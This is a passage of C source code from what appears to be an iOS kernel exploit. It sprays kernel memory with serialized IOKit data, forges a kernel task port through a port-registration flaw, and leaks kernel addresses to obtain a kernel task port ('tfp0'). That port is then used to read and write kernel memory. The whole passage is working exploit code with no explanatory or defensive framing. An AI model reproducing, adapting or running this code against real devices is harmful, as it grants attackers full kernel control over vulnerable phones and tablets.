        WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte
        memcpy((char*)dict+idx, data, datasize);
        idx += datasize;
    }
    
    host_get_io_master(mach_host_self(), &master); // get iokit master port
    
    serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity"));
    
    kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
    if (kr != KERN_SUCCESS)
        return printf("failed to spawn UC\n"),-1;
    return 0;
}

static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
{
    size_t idx = 0;
    
    PUSH(kOSSerializeMagic);
    PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
    PUSH(kOSSerializeSymbol | 4);
    PUSH(0x0079656b); // "key"
    PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
    
    for(size_t i = 0; i < num; ++i)
    {
        PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8);
        PUSH(ptr);
        PUSH(ptr);
    }
    
    *size = idx * sizeof(uint32_t);
    return KERN_SUCCESS;
}

static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
{
    kern_return_t err, ret;
    static io_master_t master = MACH_PORT_NULL;
    if(master == MACH_PORT_NULL)
    {
        ret = host_get_io_master(mach_host_self(), &master);
        if(ret != KERN_SUCCESS)
        {
            return ret;
        }
    }
    
    ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port);
    if(ret == KERN_SUCCESS)
    {
        ret = err;
    }
    return ret;
}

static mach_port_t sanity_port = MACH_PORT_NULL;
static uintptr_t kernel_task_addr = 0;

task_t get_kernel_task(void){
    kern_return_t ret;
    
    OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port));
    OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND));
    mach_port_limits_t limits = { .mpl_qlimit = 1000 };
    OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
    
    suspend_all_threads();
    
    printf("starting exploit\n");
    
    char data[16];
    kport_t kport[2] = {};
    uintptr_t *ptr = (uintptr_t*)(kport + 1);
    kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
    kport->ip_references = 100;
    kport->ip_lock.type = 0x11;
    kport->ip_messages.port.qlimit = 777;
    kport->ip_receiver = 0x12345678; // dummy
    kport->ip_srights = 99;
    
    
    void *big_buf   = malloc(MIG_MAX),
    *small_buf = malloc(MIG_MAX);
    size_t big_size = 0,
    small_size = 0;
    
    
#define PORTS_NUM 1024
#define PORTS_NUM_PRESPRAY 100
    mach_port_t fp[PORTS_NUM];
    mach_port_t postSpray;
    
    usleep(10000);
    sched_yield();
    uint32_t kptr = copyinPort(kport,2);
    
    printf("0x%08x\n",kptr);
    *(uint32_t*)(data) = kptr;
    *(uint32_t*)(data+4) = kptr;
    OUT(prepare_ptr(big_buf, &big_size, kptr, 256));
    OUT(prepare_ptr(small_buf, &small_size, kptr, 32));
    
again:
    sched_yield();
    //    for (int i=0; i<PORTS_NUM_PRESPRAY; i++) {
    //        spray_ports(1024);
    //    }
    //    spray_data2(data, 8, 256);
    //    spray_data2(data, 8, 256);
    //    spray_data2(data, 8, 256);
    //    spray_data2(data, 8, 256);
    //    spray_data2(data, 8, 256);
    //    spray_data2(data, 8, 256);
    for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){
        mach_port_t dummy;
        spray(big_buf, big_size, &dummy);
    }
    
    sched_yield();
    for (int i = 0; i < PORTS_NUM; i++) {
        fp[i] = spray_ports(1);
        mach_port_t dummy;
        spray(small_buf, small_size, &dummy);
        //        spray_data2(data, 8, 32);
    }
    
    sched_yield();
    for (int i = 0; i < PORTS_NUM; i++) {
        release_port_ptrs(fp[i]);
    }
    
    mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL};
    r3gister(mach_task_self(),arr,2,3);
    printf("r3gister done\n");
    
    mach_port_t *arrz=0;
    mach_msg_type_number_t sz = 3;
    mach_ports_lookup(mach_task_self(), &arrz, &sz);
    printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp);
    mach_port_t fake_port = arrz[2];
    if(!MACH_PORT_VALID(fake_port))
    {
        printf("Exploit failed, retrying...\n");
        goto again;
    }
    
    kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET;
    *ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET;
    
    char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    kport_t *kpbuf = (kport_t*)(tst+4);
    for (int i=0; i<2; i++) {
        kpbuf[i] = kport[i];
    }
    usleep(10000);
    sched_yield();
    mach_port_destroy(mach_task_self(), fakeportData);
    OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
    printf("done realloc\n");
    
    OUT(pid_for_task(fake_port, (int*)&kernel_task_addr));
    LOG("kernel_task address: 0x%08lx", kernel_task_addr);
    
    *ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET;
    memset(tst, 0x44, sizeof(tst));
    for (int i=0; i<2; i++) {
        kpbuf[i] = kport[i];
    }
    
    usleep(10000);
    sched_yield();
    mach_port_destroy(mach_task_self(), fakeportData);
    OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
    printf("done realloc2\n");
    
    uintptr_t ipc_space_kernel_addr = 0;
    OUT(pid_for_task(fake_port, (int*)&ipc_space_kernel_addr));
    LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr);
    
    if (ipc_space_kernel_addr == kernel_task_addr) {
        printf("Error: failed to leak pointers\n");
        goto out;
    }
    
    kport->ip_receiver = ipc_space_kernel_addr;
    kport->ip_kobject = kernel_task_addr;
    memset(tst, 0x45, sizeof(tst));
    for (int i=0; i<2; i++) {
        kpbuf[i] = kport[i];
    }
    
    OUT(spray_data(tst, sizeof(tst), 10, &postSpray));
    mach_port_destroy(mach_task_self(), postSpray);
    printf("done postspray\n");
    
    usleep(10000);
    sched_yield();
    mach_port_destroy(mach_task_self(), fakeportData);
    OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
    printf("done realloc3\n");
    
    resume_all_threads();
    
    return fake_port;
out:
    if(MACH_PORT_VALID(fake_port))
    {
        ret = send_ports(sanity_port, fake_port, 1, 1);
        if(ret == KERN_SUCCESS)
        {
            fake_port = MACH_PORT_NULL;
            printf("Exploit failed, retrying...\n");
            goto again;
        }
        printf("send_ports(): %s\n", mach_error_string(ret));
    }
    printf("Error: exploit failed :(\n");
    return MACH_PORT_NULL;
}

uintptr_t kbase(){
    return 0x80001000 + kslide;
}

void exploit(){
    mach_port_t taskHacked = get_kernel_task();
    uintptr_t kbase = 0x80001000 + kslide;
    printf("got kerneltask!\n");
    printf("kbase=%p\n",(void*)kbase);
    KernelBase = kbase;
    char kdata[0x100];
    memset(kdata, 0, 0x100);
    vm_size_t bytesRead=0x100;
    
    kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead);
    printf("vm_read_overwrite=0x%08x\n",kr);
    
    printf("DONE!!!\n");
    tfp0 = taskHacked;
    exploit_cleanup(tfp0);
}

void exploit_cleanup(task_t kernel_task) {
    kern_return_t ret;
    
    mach_port_t self = mach_task_self();
    OUT(r3gister(kernel_task, &self, 1, 1));
    
    vm_address_t portaddr = 0;
    vm_size_t sz = sizeof(portaddr);
    OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz));
    
    vm_address_t mytaskaddr = 0;
    vm_size_t size = sizeof(mytaskaddr);
    OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size));
    printf("mytaskaddr = 0x%08x\n", mytaskaddr);
    
    mach_port_t none = 0;
    OUT(r3gister(mach_task_self(), &none, 1, 1));
    
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_ports_descriptor_t init_port_set[1];
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    Reply reply;
    
    while(1)
    {
        ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL);
        if(ret != KERN_SUCCESS)
        {
            printf("cleanup done\n");
            break;
        }
        mach_port_t *port = reply.init_port_set[0].address;
        
        printf("Unregistering port %x...\n", *port);
        mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port };
        OUT(r3gister(mach_task_self(), arr, 3, 3));
        uintptr_t zero = 0;
        OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero)));
    }
    
out:;
}
